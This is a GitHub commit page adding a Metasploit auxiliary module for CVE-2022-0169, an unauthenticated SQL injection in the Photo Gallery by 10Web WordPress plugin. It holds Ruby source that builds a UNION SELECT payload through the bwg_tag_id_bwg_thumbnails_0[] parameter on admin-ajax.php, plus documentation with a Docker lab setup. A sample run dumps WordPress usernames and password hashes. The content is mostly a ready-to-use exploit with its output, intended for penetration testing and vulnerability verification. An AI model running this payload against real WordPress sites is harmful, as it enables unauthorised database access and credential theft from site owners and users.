Skip to content

Commit 00c8c77

Browse files
authored
Merge pull request #20375 from Chocapikk/wp_photo_gallery_sqli
WP Photo Gallery by 10Web Unauthenticated SQLi (CVE-2022-0169)
2 parents b6a04c2 + efa49d2 commit 00c8c77

File tree

2 files changed

+229
-0
lines changed

2 files changed

+229
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **Photo Gallery by 10Web** plugin for WordPress, versions **up to 1.6.0**,
4+
allowing **unauthenticated SQL injection** via the `bwg_tag_id_bwg_thumbnails_0[]` parameter
5+
on `admin-ajax.php` (action=`bwg_frontend_data`). WordPress itself must be installed.
6+
7+
### Pre-requisites
8+
9+
* **Docker** and **Docker Compose** installed.
10+
11+
12+
## Setup Instructions
13+
14+
1. **Create a `docker-compose.yml`** with:
15+
16+
```yaml
17+
version: '3.1'
18+
19+
services:
20+
wordpress:
21+
image: wordpress:latest
22+
restart: always
23+
ports:
24+
- 5555:80
25+
environment:
26+
WORDPRESS_DB_HOST: db
27+
WORDPRESS_DB_USER: chocapikk
28+
WORDPRESS_DB_PASSWORD: dummy_password
29+
WORDPRESS_DB_NAME: exploit_market
30+
mem_limit: 512m
31+
volumes:
32+
- wordpress:/var/www/html
33+
34+
db:
35+
image: mysql:5.7
36+
restart: always
37+
environment:
38+
MYSQL_DATABASE: exploit_market
39+
MYSQL_USER: chocapikk
40+
MYSQL_PASSWORD: dummy_password
41+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
42+
volumes:
43+
- db:/var/lib/mysql
44+
45+
volumes:
46+
wordpress:
47+
db:
48+
```
49+
50+
2. **Start the environment**
51+
52+
```bash
53+
docker-compose up -d
54+
```
55+
56+
3. **Install Photo Gallery plugin**
57+
58+
```bash
59+
wget https://downloads.wordpress.org/plugin/photo-gallery.1.5.82.zip
60+
unzip photo-gallery.1.5.82.zip
61+
docker cp photo-gallery wordpress:/var/www/html/wp-content/plugins/
62+
```
63+
64+
4. **Activate Photo Gallery**
65+
66+
* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Photo Gallery by 10Web**.
67+
* Create a gallery.
68+
69+
70+
## Verification Steps
71+
72+
1. **Launch Metasploit**
73+
74+
```bash
75+
msfconsole
76+
```
77+
78+
2. **Load the Photo Gallery SQLi scanner**
79+
80+
```bash
81+
use auxiliary/gather/wp_photo_gallery_sqli
82+
set RHOSTS 127.0.0.1
83+
set RPORT 5555
84+
set TARGETURI /
85+
```
86+
87+
3. **Run the module**
88+
89+
```bash
90+
run
91+
```
92+
93+
4. **Observe output**
94+
95+
The module should:
96+
97+
* Retrieve the database name
98+
* Enumerate tables and infer the `wp_users` table
99+
* Extract `user_login:user_pass` for the number of rows set by `COUNT`
100+
101+
## Options
102+
103+
### COUNT
104+
105+
Number of user rows to retrieve (default: 5)
106+
107+
## Scenarios
108+
109+
```bash
110+
msf6 auxiliary(gather/wp_photo_gallery_sqli) > run http://lab:5555
111+
[*] Running module against 127.0.0.1
112+
[*] Running automatic check ("set AutoCheck false" to disable)
113+
[*] {SQLi} Executing (select 'nI5hKye')
114+
[*] {SQLi} Encoded to (select 0x6e4935684b7965)
115+
[+] The target is vulnerable.
116+
[*] {SQLi} Executing (SELECT 16 FROM information_schema.tables WHERE table_name = 'wp_users')
117+
[*] {SQLi} Encoded to (SELECT 16 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
118+
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
119+
[*] {SQLi} Executing (select group_concat(sLt) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) sLt from wp_users limit 1) KVgXfyYs)
120+
[*] {SQLi} Encoded to (select group_concat(sLt) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x7b,0)),ifnull(user_pass,repeat(0x14,0))) as binary) sLt from wp_users limit 1) KVgXfyYs)
121+
[!] No active DB -- Credential data will not be saved!
122+
[+] {WPSQLi} Credential for user 'chocapikk' created successfully.
123+
[*] {WPSQLi} Dumped user data:
124+
wp_users
125+
========
126+
127+
user_login user_pass
128+
---------- ---------
129+
chocapikk $wp$2y$10$Lw9VAfqDMbi9md2Y0945TO4l0NTKJxxXTd3CDTr8gIkgDbBQ2mUgS
130+
131+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250710131832_default_127.0.0.1_wordpress.users_427582.txt
132+
[*] {WPSQLi} Reporting host...
133+
[*] {WPSQLi} Reporting service...
134+
[*] {WPSQLi} Reporting vulnerability...
135+
[+] {WPSQLi} Reporting completed successfully.
136+
[*] Auxiliary module execution completed
137+
```
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HTTP::Wordpress
8+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)',
18+
'Description' => %q{
19+
The Photo Gallery by 10Web WordPress plugin <= 1.6.0 is vulnerable to
20+
unauthenticated SQL injection via the 'bwg_tag_id_bwg_thumbnails_0[]'
21+
parameter in admin-ajax.php (action=bwg_frontend_data).
22+
},
23+
'Author' => [
24+
'Krzysztof Zając', # Discovery
25+
'Valentin Lobstein', # Metasploit module
26+
'X3RX3S' # Help
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' => [
30+
['CVE', '2022-0169'],
31+
['WPVDB', '0b4d870f-eab8-4544-91f8-9c5f0538709c'],
32+
['URL', 'https://github.com/X3RX3SSec/CVE-2022-0169']
33+
],
34+
'DefaultOptions' => {
35+
'VERBOSE' => true,
36+
'COUNT' => 5
37+
},
38+
'DisclosureDate' => '2022-03-14',
39+
'Notes' => {
40+
'Stability' => [CRASH_SAFE],
41+
'SideEffects' => [IOC_IN_LOGS],
42+
'Reliability' => []
43+
}
44+
)
45+
)
46+
47+
register_options([
48+
OptString.new('TARGETURI', [true, 'Base path to WordPress', '/']),
49+
Opt::RPORT(80)
50+
])
51+
end
52+
53+
def get_sqli_object
54+
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
55+
expression = payload.to_s.strip.gsub(/\s+/, ' ')
56+
columns = Array.new(23) { |i| i == 7 ? "(#{expression})" : rand(1000..9999) }
57+
injected = ")\" union select #{columns.join(',')} -- -"
58+
59+
res = send_request_cgi(
60+
'method' => 'GET',
61+
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php'),
62+
'vars_get' => {
63+
'action' => 'bwg_frontend_data',
64+
'shortcode_id' => '1',
65+
'bwg_tag_id_bwg_thumbnails_0[]' => injected
66+
}
67+
)
68+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
69+
70+
node = res.get_html_document.at_css('div.bwg-title2')
71+
result = node&.text.to_s.strip
72+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG if result.empty?
73+
74+
result
75+
end
76+
end
77+
78+
def check
79+
@sqli = get_sqli_object
80+
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
81+
82+
@sqli.test_vulnerable ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
83+
end
84+
85+
def run
86+
@sqli ||= get_sqli_object
87+
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
88+
89+
wordpress_sqli_initialize(@sqli)
90+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
91+
end
92+
end

0 commit comments

Comments
 (0)